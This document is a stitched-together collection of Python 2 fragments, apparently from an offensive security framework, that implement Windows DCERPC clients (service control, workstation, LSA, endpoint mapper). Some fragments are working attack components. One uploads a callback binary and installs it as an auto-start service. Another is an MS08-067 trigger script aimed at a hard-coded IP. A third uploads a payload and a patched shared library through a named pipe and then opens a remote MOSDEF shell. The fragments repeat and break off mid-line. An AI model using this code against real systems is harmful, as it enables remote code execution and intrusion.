def __bind_ntlm(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain) return self.dce.bind(self.uuid[0], self.uuid[1]) except Exception as e: return 0
def detect_arch(self): binding = "ncacn_ip_tcp:%s[135]" % self.host dce = DCERPC(binding, getsock=None) try: r = dce.bind('e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0', t_uuid='71710533-beba-4937-8319-b5dbef9ccc36', t_ver='1.0') except DCERPCException, e: logging.error( "Error while detecting target architecture, assuming 64bit") return
def __bind_ntlm(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0
def __bind_krb5(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain, kerberos_db=self.kerberos_db, use_krb5=True) return self.dce.bind(self.uuid[0], self.uuid[1]) except Exception as e: return 0
def __init__(self, binding, getsock=None, username=None, password=None, computer=None, domain=None, frag_level=None, smbport=445): DCERPC.__init__(self, binding, getsock, username, password, computer, domain, frag_level, smbport=smbport)
def exec_native_callback(self): logging.info("Uploading and executing a privileged MOSDEF callback") # Upload our callback f = file(self.local_callback, 'r') self.client.put(f, self.remote_callback) f.close() # Upload our service if self.is_64bit: f = file(self.local_service_64, 'r') else: f = file(self.local_service_32, 'r') self.client.put(f, self.remote_service) f.close() # Setup dcerpc/svcctl in order to reuse our upgraded SMB connection binding = u'ncacn_np:%s[\\svcctl]' % self.host dce = DCERPC(binding, getsock=None, smb_client=self.client) svc = svcctl.SVCCTLClient(self.host, dce=dce) svc.dce.bind(svc.uuid[0], svc.uuid[1]) # Create service try: handle = svc.open_manager() svc.create_service(handle=handle, service_name=self.service_name, binary_pathname=self.remote_service, display_name=self.service_name, start_type=svcctl.SVCCTL_SERVICE_AUTO_START) except svcctl.SVCCTLCreateServiceException as e: logging.error('Error while creating service (%s)' % str(e)) return False else: logging.info("Service has been created successfully (%s)" % self.service_name) try: service_handle = svc.open_service(self.service_name) except svcctl.SVCCTLCreateServiceException as e: logging.critical('svc.open_service() failed (%s)' % str(e)) return False # Start service try: svc.start_service(service_handle, args=[self.remote_callback]) except svcctl.SVCCTLCreateServiceException as e: logging.critical("Service could not be started (%s)" % str(e)) return False # Close everything svc.close_service(service_handle) svc.close_manager() return True
def cleanup_native(self): # Setup dcerpc/svcctl in order to reuse our upgraded SMB connection binding = u'ncacn_np:%s[\\svcctl]' % self.host dce = DCERPC(binding, getsock=None, smb_client=self.client) svc = svcctl.SVCCTLClient(self.host, dce=dce) svc.dce.bind(svc.uuid[0], svc.uuid[1]) logging.info("Stopping service (%s)" % self.service_name) try: service_handle = svc.open_service(self.service_name) svc.stop_service(service_handle) # We allow up to 5s for the service to stop logging.info("Sleeping for %ds" % self.timeout) for i in range(0, self.timeout): ret = svc.query_service(service_handle) if ret['CurrentState'] == svcctl.SVCCTL_SERVICE_STOPPED: break time.sleep(1) except Exception as e: logging.error("Failed to stop service (%s)" % str(e)) else: logging.info("Service has been stopped successfully") logging.info("Deleting service (%s)" % self.service_name) try: service_handle = svc.delete_service(service_name=self.service_name) svc.close_service(service_handle) except Exception as e: logging.critical("Error while deleting service (%s)" % str(e)) return False else: logging.info("Service (%s) has been deleted successfully" % self.service_name) return True
class SVCCTLClient(SVCCTL): def __init__(self, host, port=445): SVCCTL.__init__(self, host, port) self.username = None self.password = None self.domain = None self.kerberos_db = None self.use_krb5 = False def set_credentials(self, username=None, password=None, domain=None, kerberos_db=None, use_krb5=False): if username: self.username = username if password: self.password = password if domain: self.domain = domain if kerberos_db: self.kerberos_db = kerberos_db self.use_krb5 = True else: if use_krb5: self.use_krb5 = use_krb5 def __bind_krb5(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain, kerberos_db=self.kerberos_db, use_krb5=True) return self.dce.bind(self.uuid[0], self.uuid[1]) except Exception as e: return 0 def __bind_ntlm(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain) return self.dce.bind(self.uuid[0], self.uuid[1]) except Exception as e: return 0 def __bind(self, connector): if self.use_krb5: ret = self.__bind_krb5(connector) if not ret: return self.__bind_ntlm(connector) else: ret = self.__bind_ntlm(connector) if not ret: return self.__bind_krb5(connector) return 1 def bind(self): """ Perform a binding with the server. 0 is returned on failure. """ connectionlist = [] connectionlist.append(u'ncacn_np:%s[\\browser]' % self.host) connectionlist.append(u'ncacn_np:%s[\\pipe\\svcctl]' % self.host) for connector in connectionlist: ret = self.__bind(connector) if ret: return 1 return 0 def get_reply(self): """ Provides the answer to a request. """ return self.dce.reassembled_data def _close(self, handle=None, manager=0): """ Destroy the manager handle. SVCCTLCloseException is raised on failure. """ # We do not accept manager=1 without open manager lock if manager and not self.manager_handle: raise SVCCTLCloseException('close() failed because no valid manager handle could be found.') if not handle: handle = self.manager_handle try: data = SVCCTLCloseServiceHandleRequest(service_handle=handle).pack() except Exception as e: raise SVCCTLCloseException('close() failed to build the request.') self.dce.call(SVCCTL_COM_CLOSESERVICEHANDLE, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLCloseException('close() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0: try: resp = SVCCTLCloseServiceHandleResponse(self.get_reply()) if manager: self.manager_handle = None except Exception as e: raise SVCCTLCloseException('close() failed: parsing error in the answer.') else: raise SVCCTLCloseException('close() failed.', status=status) def open_manager(self): """ Gets a handle on the Manager to perform other calls. SVCCTLOpenException is raised on failure. """ # Let's avoid unnecessary traffic if self.manager_handle: return self.manager_handle try: data = SVCCTLOpenSCManagerRequest(machine_name='WhatEverBro', database_name='ServicesActive', desired_access=0x3f).pack() except Exception as e: raise SVCCTLOpenException('open_manager() failed to build the request.') self.dce.call(SVCCTL_COM_OPENSCMANAGER, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLOpenException('open_manager() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0: try: resp = SVCCTLOpenSCManagerResponse(self.get_reply()) self.manager_handle = resp.get_handle() return self.manager_handle except Exception as e: raise SVCCTLOpenException('open_manager() failed: parsing error in the answer.') else: raise SVCCTLOpenException('open_manager() failed.', status=status) def close_manager(self, handle=None): return self._close(handle, manager=1) def get_services(self, service_type=SVCCTL_SERVICE_ALL): """ Gets the list of services SVCCTLEnumServicesStatusException is raised on failure. """ manager_handle = self.open_manager() try: data = SVCCTLEnumServicesStatusRequest(manager_handle=manager_handle, type=service_type, size=0).pack() except Exception as e: raise SVCCTLEnumServicesStatusException('get_services() failed to build the request.') self.dce.call(SVCCTL_COM_ENUMSERVICESSTATUS, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLEnumServicesStatusException('get_services() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] needed_bytes = 0 # If it ever happens, it probably means nothing is running. # Okay that is quite unlikely but you never know if status == 0: return [] if status != 0xea: raise SVCCTLEnumServicesStatusException('get_services() failed.', status=status) try: resp = SVCCTLEnumServicesStatusResponse(self.get_reply()) needed_bytes = resp['RequiredBytes'] except Exception as e: raise SVCCTLEnumServicesStatusException('get_services() failed: parsing error in the answer.') if needed_bytes: try: data = SVCCTLEnumServicesStatusRequest(manager_handle=self.manager_handle, type=service_type, size=needed_bytes).pack() except Exception as e: raise SVCCTLEnumServicesStatusException('get_services() failed to build the request.') self.dce.call(SVCCTL_COM_ENUMSERVICESSTATUS, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLEnumServicesStatusException('get_services() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0: try: resp = SVCCTLEnumServicesStatusResponse(self.get_reply()) return resp.get_services() except Exception as e: raise SVCCTLEnumServicesStatusException('get_services() failed: parsing error in the answer.') else: raise SVCCTLEnumServicesStatusException('get_services() failed.', status=status) def open_service(self, service_name): """ Gets a policy handle to perform other calls. SVCCTLOpenServiceException is raised on failure. """ manager_handle = self.open_manager() try: data = SVCCTLOpenServiceRequest(manager_handle=manager_handle, service_name=service_name).pack() except Exception as e: raise SVCCTLOpenServiceException('open_service() failed to build the request.') # Unicode version only for now. self.dce.call(SVCCTL_COM_OPENSERVICE_W, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLOpenServiceException('open_service() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0x424: raise SVCCTLOpenServiceException('open_service() failed: service does not exist.', status=status) if status != 0: raise SVCCTLOpenServiceException('open_service() failed.', status=status) # Parsing the answer try: resp = SVCCTLOpenServiceResponse(self.get_reply()) service_handle = resp.get_handle() return service_handle except Exception as e: raise SVCCTLOpenServiceException('open_service() failed: Parsing error in the answer.') def close_service(self, handle=None): """ Closes a specific service by handle """ return self._close(handle, manager=0) def create_service(self, handle, service_name='IMMUSVC', binary_pathname='%SystemRoot%\\IMMUSVC.EXE', display_name='', start_type=SVCCTL_SERVICE_DEMAND_START): """ Creates a new service. SVCCTLCreateServiceException is raised on failure. """ if not display_name: display_name = service_name try: data = SVCCTLCreateServiceRequest(manager_handle=handle, service_name=service_name, binary_pathname=binary_pathname, display_name=display_name, start_type=start_type).pack() except Exception as e: raise SVCCTLCreateServiceException('create_service() failed to build the request.') self.dce.call(SVCCTL_COM_CREATESERVICE_W, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLCreateServiceException('create_service() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] # ERROR_SERVICE_EXISTS if status == 0x431: raise SVCCTLCreateServiceException('create_service() failed: service already exists.', status=status) if status != 0: raise SVCCTLCreateServiceException('create_service() failed.', status=status) try: resp = SVCCTLCreateServiceResponse(self.get_reply()) service_handle = resp.get_handle() return service_handle except Exception as e: raise SVCCTLCreateServiceException('create_service() failed: parsing error in the answer.') def _delete_service_by_handle(self, service_handle): try: data = SVCCTLDeleteServiceRequest(service_handle=service_handle).pack() except Exception as e: raise SVCCTLDeleteServiceException('delete_service() failed to build the request.') self.dce.call(SVCCTL_COM_DELETESERVICE, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLDeleteServiceException('delete_service() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] # ERROR_SERVICE_MARKED_FOR_DELETE if status == 0x430: raise SVCCTLDeleteServiceException('delete_service() failed: service already marked for delete.', status=status) if status != 0: raise SVCCTLDeleteServiceException('delete_service() failed.', status=status) def delete_service(self, service_handle=None, service_name=None): """ Deletes a service either using its name or its handle SVCCTLDeleteServiceException is raised on failure. """ # Sanity check if not service_handle and not service_name: raise SVCCTLDeleteServiceException('delete_service() failed: invalid parameters.') # If we have a valid handle, we don't care about the service name if service_handle: return self._delete_service_by_handle(service_handle) # But if we don't then it means that we first have to retrieve the # handle self.open_manager() services = self.get_services() self.close_manager() # Is the service registered under the name? for service in services: name = service['ServiceName'][:-1] if name == service_name: handle = self.open_service(name) return self._delete_service_by_handle(handle) # Service was not found! raise SVCCTLDeleteServiceException('delete_service() failed: Invalid service name.') def query_service(self, service_handle): """ Gets the status corresponding to a specific service SVCCTLQueryServiceStatusException is raised on failure. """ if not service_handle: raise SVCCTLQueryServiceStatusException('query_service() failed: Invalid parameter.') try: data = SVCCTLQueryServiceStatusRequest(service_handle=service_handle).pack() except Exception as e: raise SVCCTLQueryServiceStatusException('query_service() failed to build the request.') self.dce.call(SVCCTL_COM_QUERYSERVICESTATUS, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLQueryServiceStatusException('query_service() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status != 0: raise SVCCTLQueryServiceStatusException('query_service() failed.', status=status) try: resp = SVCCTLQueryServiceStatusResponse(self.get_reply()) service_type = resp.get_service_type() service_state = resp.get_service_state() return {'Type':service_type, 'CurrentState':service_state} except Exception as e: raise SVCCTLQueryServiceStatusException('query_service() failed: parsing error in the answer.') def start_service(self, service_handle, args=[]): """ Starts a service SVCCTLStartServiceException is raised on failure. """ if not service_handle: raise SVCCTLStartServiceException('start_service() failed: invalid parameter.') try: data = SVCCTLStartServiceRequest(service_handle=service_handle, args=args).pack() except Exception as e: raise SVCCTLStartServiceException('start_service() failed to build the request.') # There are 2 possible methods. For now, we only handle the one without Unicode as # it is much easier. self.dce.call(SVCCTL_COM_STARTSERVICE_A, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLStartServiceException('start_service() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] # ERROR_SERVICE_DISABLED if status == 0x422: raise SVCCTLStartServiceException('start_service() failed: service is disabled.', status=status) # ERROR_SERVICE_ALREADY_RUNNING if status == 0x420: raise SVCCTLStartServiceException('start_service() failed: service is already running.', status=status) # ERROR_INVALID_PARAMETER if status == 0x57: raise SVCCTLStartServiceException('start_service() failed: invalid parameter.', status=status) if status != 0: raise SVCCTLStartServiceException('start_service() failed.', status=status) def stop_service(self, service_handle): """ Stop a service SVCCTLStopServiceException is raised on failure. """ if not service_handle: raise SVCCTLStopServiceException('stop_service(): invalid parameter.') try: data = SVCCTLControlServiceRequest(service_handle=service_handle, control=SVCCTL_SERVICE_CONTROL_STOP).pack() except Exception as e: raise SVCCTLStopServiceException('stop_service() failed to build the request.') self.dce.call(SVCCTL_COM_CONTROLSERVICE, data, response=True) if len(self.get_reply()) < 4: raise SVCCTLStopServiceException('stop_service() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] # ERROR_DEPENDENT_SERVICES_RUNNING if status == 0x41b: raise SVCCTLStopServiceException('stop_service() failed: cannot stop this service while others are running.', status=status) # ERROR_SERVICE_NOT_ACTIVE if status == 0x426: raise SVCCTLStopServiceException('stop_service() failed: this service is not active.', status=status) if status != 0: raise SVCCTLStopServiceException('stop_service() failed.', status=status)
class WKSSVCClient(WKSSVC): def __init__(self, host, port=445): WKSSVC.__init__(self, host, port) self.username = None self.password = None self.domain = None self.kerberos_db = None self.use_krb5 = False def set_credentials(self, username=None, password=None, domain=None, kerberos_db=None, use_krb5=False): if username: self.username = username if password: self.password = password if domain: self.domain = domain if kerberos_db: self.kerberos_db = kerberos_db self.use_krb5 = True else: if use_krb5: self.use_krb5 = use_krb5 def __bind_krb5(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain, kerberos_db=self.kerberos_db, use_krb5=True) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0 def __bind_ntlm(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0 def __bind(self, connector): if self.use_krb5: ret = self.__bind_krb5(connector) if not ret: return self.__bind_ntlm(connector) else: ret = self.__bind_ntlm(connector) if not ret: return self.__bind_krb5(connector) return 1 def bind(self): """ Perform a binding with the server. 0 is returned on failure. """ connectionlist = [] connectionlist.append(u'ncacn_np:%s[\\browser]' % self.host) connectionlist.append(u'ncacn_np:%s[\\wkssvc]' % self.host) connectionlist.append(u'ncacn_ip_tcp:%s[%d]' % (self.host, self.port)) connectionlist.append(u'ncacn_tcp:%s[%d]' % (self.host, self.port)) for connector in connectionlist: ret = self.__bind(connector) if ret: return 1 return 0 def get_reply(self): return self.dce.reassembled_data def enum_users(self): """ Fetches the list of connected users on the system WKSSVCUserEnumException is raised on failure """ try: data = NetrWkstaUserEnumRequest(ServerName='').pack() except Exception as e: raise WKSSVCUserEnumException( 'enum_users() failed to build the request.') self.dce.call(WKSSVC_COM_ENUM_USERS, data, response=True) if len(self.get_reply()) < 4: raise WKSSVCUserEnumException( 'NetrWkstaUserEnum() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0: try: resp = NetrWkstaUserEnumResponse(self.get_reply()) return resp.get_usernames() except Exception as e: raise WKSSVCUserEnumException( 'NetrWkstaUserEnum() failed: Parsing error in the answer.') if status == 5: raise WKSSVCUserEnumAccessDeniedException() else: raise WKSSVCUserEnumException( 'NetrWkstaUserEnumResponse() failed.', status=status)
import sys from struct import pack if '.' not in sys.path: sys.path.append('.') from libs.newsmb.libdcerpc import DCERPC, DCERPCString print '***** Testing Windows 2000 Trigger for MS08-067 *****' path = u'A\\..\\..\\'.encode('UTF-16LE') mark = len(path) path += u'\0'.encode('UTF-16LE') data ='' data += pack('<L', 1) data += DCERPCString(string = u'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE'.encode('UTF-16LE')).pack() data += '\0\0' data += DCERPCString(string = path).pack() data += '\0\0' data += pack('<L', 2) data += DCERPCString(string = u'\\'.encode('UTF-16LE')).pack() data += pack('<LL', 1, 1) dce = DCERPC(u'ncacn_np:192.168.2.107[\\browser]', getsock=None) #dce.max_dcefrag = 100 dce.bind(u'4b324fc8-1670-01d3-1278-5a47bf6ee188', u'3.0') #, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.call(0x1f, data, response=True) print dce.reassembled_data.encode('hex')
class LSAClient(LSA): def __init__(self, host, port=445): LSA.__init__(self, host, port) self.username = None self.password = None self.domain = None self.kerberos_db = None self.use_krb5 = False def set_credentials(self, username=None, password=None, domain=None, kerberos_db=None, use_krb5=False): if username: self.username = username if password: self.password = password if domain: self.domain = domain if kerberos_db: self.kerberos_db = kerberos_db self.use_krb5 = True else: if use_krb5: self.use_krb5 = use_krb5 def __bind_krb5(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain, kerberos_db=self.kerberos_db, use_krb5=True) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0 def __bind_ntlm(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain, use_krb5=False) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0 def __bind(self, connector): if self.use_krb5: ret = self.__bind_krb5(connector) if not ret: return self.__bind_ntlm(connector) else: ret = self.__bind_ntlm(connector) if not ret: return self.__bind_krb5(connector) return 1 def bind(self): """ Perform a binding with the server. 0 is returned on failure. """ connectionlist = [] connectionlist.append(u'ncacn_np:%s[\\lsarpc]' % self.host) connectionlist.append(u'ncacn_ip_tcp:%s[%d]' % (self.host, self.port)) connectionlist.append(u'ncacn_tcp:%s[%d]' % (self.host, self.port)) for connector in connectionlist: ret = self.__bind(connector) if ret: return 1 return 0 def get_reply(self): return self.dce.reassembled_data def open(self): """ Gets a policy handle to perform other calls. LSAOpenException is raised on failure. """ try: data = LSAOpenPolicy2Request( SystemName='\\\\' + self.host, DesiredAccess=LSA_POLICY_LOOKUP_NAMES).pack() except Exception as e: raise LSAOpenException( 'LSAOpenPolicy() failed to build the request.') self.dce.call(LSA_COM_OPEN_POLICY2, data, response=True) if len(self.get_reply()) < 4: raise LSAOpenException('LSAOpenPolicy() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0: try: resp = LSAOpenPolicy2Response(self.get_reply()) policy_handle = resp.get_handle() self.policy_handle = policy_handle return policy_handle except Exception as e: raise LSAOpenException( 'LSAOpenPolicy() failed: Parsing error in the answer.') else: raise LSAOpenException('LSAOpenPolicy() failed.', status=status) def close(self): """ Destroy the policy handle. LSACloseException is raised on failure. """ if not self.policy_handle: raise LSACloseException( 'LSAClose() failed because no policy handle could be found.') try: data = LSACloseRequest(PolicyHandle=self.policy_handle).pack() except Exception as e: raise LSACloseException('LSAClose() failed to build the request.') self.dce.call(LSA_COM_CLOSE, data, response=True) if len(self.get_reply()) < 4: raise LSACloseException('LSAClose() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0: try: resp = LSACloseResponse(self.get_reply()) self.policy_handle = None except Exception as e: raise LSACloseException( 'LSAClose() failed: Parsing error in the answer.') else: raise LSACloseException('LSAClose() failed.', status=status) def __lookup_names(self, names): """ Return the Sids corresponding to the list of names. LSALookUpNamesException is raised on failure. """ do_close = 0 if not self.policy_handle: do_close = 1 self.open() try: data = LSALookupNamesRequest(PolicyHandle=self.policy_handle, NamesArray=names).pack() except Exception as e: raise LSALookUpNamesException( 'LSALookupNames() failed to build the request.') self.dce.call(LSA_COM_LOOKUP_NAMES, data, response=True) answ_str = self.get_reply() if len(answ_str) < 4: raise LSALookUpNamesException( 'LSALookupNames() call was not correct.') status = unpack('<L', answ_str[-4:])[0] if do_close: self.close() if status == 0: try: resp = LSALookupNamesResponse(answ_str) return resp.get_sids() except Exception as e: raise LSALookUpNamesException( 'LSALookUpNames() failed: Parsing error in the answer.') else: raise LSALookUpNamesException('LSALookUpNames() failed.', status=status) def __lookup_names3(self, names): """ Return the Sids corresponding to the list of names. LSALookUpNamesException is raised on failure. """ do_close = 0 if not self.policy_handle: do_close = 1 self.open() try: data = LSALookupNames3Request(PolicyHandle=self.policy_handle, NamesArray=names).pack() except Exception as e: raise LSALookUpNamesException( 'LSALookupNames() failed to build the request.') self.dce.call(LSA_COM_LOOKUP_NAMES3, data, response=True) answ_str = self.get_reply() if len(answ_str) < 4: raise LSALookUpNamesException( 'LSALookupNames() call was not correct.') status = unpack('<L', answ_str[-4:])[0] if do_close: self.close() if status == 0: try: resp = LSALookupNames3Response(answ_str) return resp.get_sids() except Exception as e: raise LSALookUpNamesException( 'LSALookUpNames() failed: Parsing error in the answer.') else: raise LSALookUpNamesException('LSALookUpNames() failed.', status=status) def lookup_names(self, names, version=0): """ Return the Sids corresponding to the list of names. LSALookUpNamesException is raised on failure. """ if version == 3: return self.__lookup_names3(names) else: return self.__lookup_names(names) def lookup_sids(self, sids): """ Return the Names corresponding to the list of Sids. LSALookUpSidsException is raised on failure. """ do_close = 0 if not self.policy_handle: do_close = 1 self.open() try: data = LSALookupSidsRequest(PolicyHandle=self.policy_handle, Sids=sids).pack() except Exception as e: raise LSALookUpSidsException( 'lookup_sids() failed to build the request.') self.dce.call(LSA_COM_LOOKUP_SIDS, data, response=True) answ_str = self.get_reply() if len(answ_str) < 4: raise LSALookUpSidsException('lookup_sids() call was not correct.') status = unpack('<L', answ_str[-4:])[0] if do_close: self.close() # We may need to provide more than 1 SID. Typically this appends when one # bruteforces SID (this can be done in 1 request). However since not all # the SID requested may exist, the API may return STATUS_SOME_NOT_MAPPED # aka 0x107 error. if status == 0 or status == 0x107: try: resp = LSALookupSidsResponse(answ_str) names = resp.get_names() # This shouldn't be possible, but just in case... if len(names) != len(sids): return names # Adds the Sid information as well. for i in xrange(len(sids)): names[i]['Sid'] = sids[i] return names except Exception as e: raise LSALookUpSidsException( 'lookup_sids() failed: Parsing error in the answer.') else: raise LSALookUpSidsException('lookup_sids() failed.', status=status) def lookup_sids_with_domains(self, sids): """ Return the Names and associated Domains corresponding to the list of Sids. LSALookUpSidsException is raised on failure. """ do_close = 0 if not self.policy_handle: do_close = 1 self.open() try: data = LSALookupSidsRequest(PolicyHandle=self.policy_handle, Sids=sids).pack() except Exception as e: raise LSALookUpSidsException( 'lookup_sids() failed to build the request.') self.dce.call(LSA_COM_LOOKUP_SIDS, data, response=True) answ_str = self.get_reply() if len(answ_str) < 4: raise LSALookUpSidsException('lookup_sids() call was not correct.') status = unpack('<L', answ_str[-4:])[0] if do_close: self.close() # We may need to provide more than 1 SID. Typically this appends when one # bruteforces SID (this can be done in 1 request). However since not all # the SID requested may exist, the API may return STATUS_SOME_NOT_MAPPED # aka 0x107 error. if status == 0 or status == 0x107: try: resp = LSALookupSidsResponse(answ_str) names = resp.get_names() domains = resp.get_domains() # This shouldn't be possible, but just in case... if len(names) != len(sids): return names # Adds the Sid information as well. for i in xrange(len(sids)): names[i]['Sid'] = sids[i] return names, domains except Exception as e: raise LSALookUpSidsException( 'lookup_sids() failed: Parsing error in the answer.') else: raise LSALookUpSidsException('lookup_sids() failed.', status=status) def lookup_domains(self, names=['Administrator']): """ Return the names & sids of the domains managed by the AD LSALookUpNamesException is raised on failure. """ # The trick is that Administrator will always exist so the LSALookupNames3() # API will answer leaking the domains. do_close = 0 if not self.policy_handle: do_close = 1 try: self.open() except Exception as e: raise LSALookUpNamesException('lookup_domains() failed.') try: data = LSALookupNames3Request(PolicyHandle=self.policy_handle, NamesArray=names).pack() except Exception as e: raise LSALookUpNamesException( 'lookup_domains() failed to build the request.') self.dce.call(LSA_COM_LOOKUP_NAMES3, data, response=True) answ_str = self.get_reply() if len(answ_str) < 4: raise LSALookUpNamesException( 'lookup_domains() call was not correct.') status = unpack('<L', answ_str[-4:])[0] if do_close: self.close() if status == 0: try: resp = LSALookupNames3Response(answ_str) return resp.get_domains() except Exception as e: raise LSALookUpNamesException( 'lookup_domains() failed: Parsing error in the answer.') else: raise LSALookUpNamesException('lookup_domains() failed.', status=status)
def exploit(self, arch): self.exename = '__exe%d.a' % random.randint(1, 1000000) logging.info("Uploading self.payload: %r" % self.exename) stream = StringIO.StringIO() stream.write(self.payload) self.smbobj.put(stream, self.exename) if arch == 'x86': lib = file('%s/7494libi686.so' % self.resourcePath, 'rb').read() else: lib = file('%s/7494libx86_64.so' % self.resourcePath, 'rb').read() offset = lib.find(pack('<L', 0xdeadbeef)) exepath = self.basepath + self.exename lib = lib[0:offset] + exepath + lib[offset + len(exepath):] stream = StringIO.StringIO() stream.write(lib) logging.info("Uploading payload: __namedpipe.so") self.smbobj.put(stream, '__namedpipe.so') logging.info("Binding to named pipe: %s[\\pipe%s]" % (self.host, self.path)) connector = u'ncacn_np:%s[\\pipe%s]' % (self.host, self.path) if self.use_kerberos: dce = DCERPC(connector, getsock=None, username=self.user, password=self.password, domain=self.domain, kerberos_db=self.ccache_file, use_krb5=True) else: dce = DCERPC(connector, getsock=None, username=self.user, password=self.password, domain=self.domain) dce.dcerpc_connection.connect() sck = dce.dcerpc_connection.s time.sleep(.1) logging.info("Cleaning up uploaded files") self.smbobj.delete('__namedpipe.so') self.smbobj.delete(self.exename) logging.info("Calling recv on smb socket") try: buf = sck.recv(1000) except: return None node = None if buf.find("G") != -1: logging.info("Got response") sck.send("O") node = linuxNode() node.parentnode = self.socknode linuxMosdefShellServer.linuxshellserver( sck, node, logfunction=self.logfunction) logging.info("Calling startup for MOSDEF shell server") node.startup() self.setInfo("%s attacking %s:%d (succeeded)" % (NAME, self.host, self.port)) return node
class EPTClient(EPT): def __init__(self, host, port=135): EPT.__init__(self, host, port) self.username = None self.password = None self.domain = None self.kerberos_db = None self.use_krb5 = False def set_credentials(self, username=None, password=None, domain=None, kerberos_db=None, use_krb5=False): if username: self.username = username if password: self.password = password if domain: self.domain = domain if kerberos_db: self.kerberos_db = kerberos_db self.use_krb5 = True else: if use_krb5: self.use_krb5 = use_krb5 def __bind_krb5(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain, kerberos_db=self.kerberos_db, use_krb5=True) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0 def __bind_ntlm(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0 def __bind(self, connector): if self.use_krb5: ret = self.__bind_krb5(connector) if not ret: return self.__bind_ntlm(connector) else: ret = self.__bind_ntlm(connector) if not ret: return self.__bind_krb5(connector) return 1 def bind(self): """ Perform a binding with the server. 0 is returned on failure. """ connector = u'ncacn_ip_tcp:%s[%d]' % (self.host, self.port) ret = self.__bind(connector) if ret: return 1 else: return 0 def get_reply(self): return self.dce.reassembled_data def ept_lookup(self, max_entries=500): ''' Returns an array of entries ''' lookupreq = EptLookupRequest(max_entries=max_entries).pack() self.dce.call(EPMAP_COM_LOOKUP, lookupreq, response=True) data = self.get_reply() if not len(data): raise EPTLookupException('Empty data returned') status = unpack('<L', data[-4:])[0] if status != 0: logging.debug('ept_lookup() response status is: %x' % status) raise EPTLookupException('Failed with error = 0x%x' % status) lookupresp = EptLookupResponse(data=data) entries = lookupresp.get_entries() return entries def convert_entries(self, entries): ''' Convert the entries into a dictionary that is compatible with EPMAP.dump() where EPMAP is the old interface. ''' if entries is None or not len(entries): return None results = [] for entry in entries: try: annot = entry.get_annotation_as_str() obj = entry.get_object() floors = entry.get_tower().get_floors() result = {} result['annotation'] = annot result['annotation length'] = len(annot) + 1 # For compatibility only. # This field is absolutely useless # and 'annotation' was even missing # in the previous version for i in xrange(len(floors)): # http://pubs.opengroup.org/onlinepubs/9629399/toc.pdf # p684 f = floors[i] proto_id = f.get_proto_id() data1 = f.get_data1() data2 = f.get_data2() if proto_id == EPMAP_PROTO_ID_UUID: major = struct.unpack('<H', data1[16:18])[0] minor = struct.unpack('<H', data2[:2])[0] # With two consecutive UUID, only the first one is interesting if not i: result['uuid'] = data1[:16] result['version'] = major # RPC addresses are not recorded. elif proto_id in [EPMAP_PROTO_ID_RPC_CON_LESS, EPMAP_PROTO_ID_RPC_CON_ORIENTED]: pass elif proto_id == EPMAP_PROTO_ID_NAMEDPIPE: np_str = data2.rstrip('\0') result['np'] = unicode(np_str) elif proto_id == EPMAP_PROTO_ID_NETBIOS: netbios_str = data2.rstrip('\0') result['netbios'] = unicode(netbios_str) elif proto_id == EPMAP_PROTO_ID_NAMEDPIPES: result['ncalrpc'] 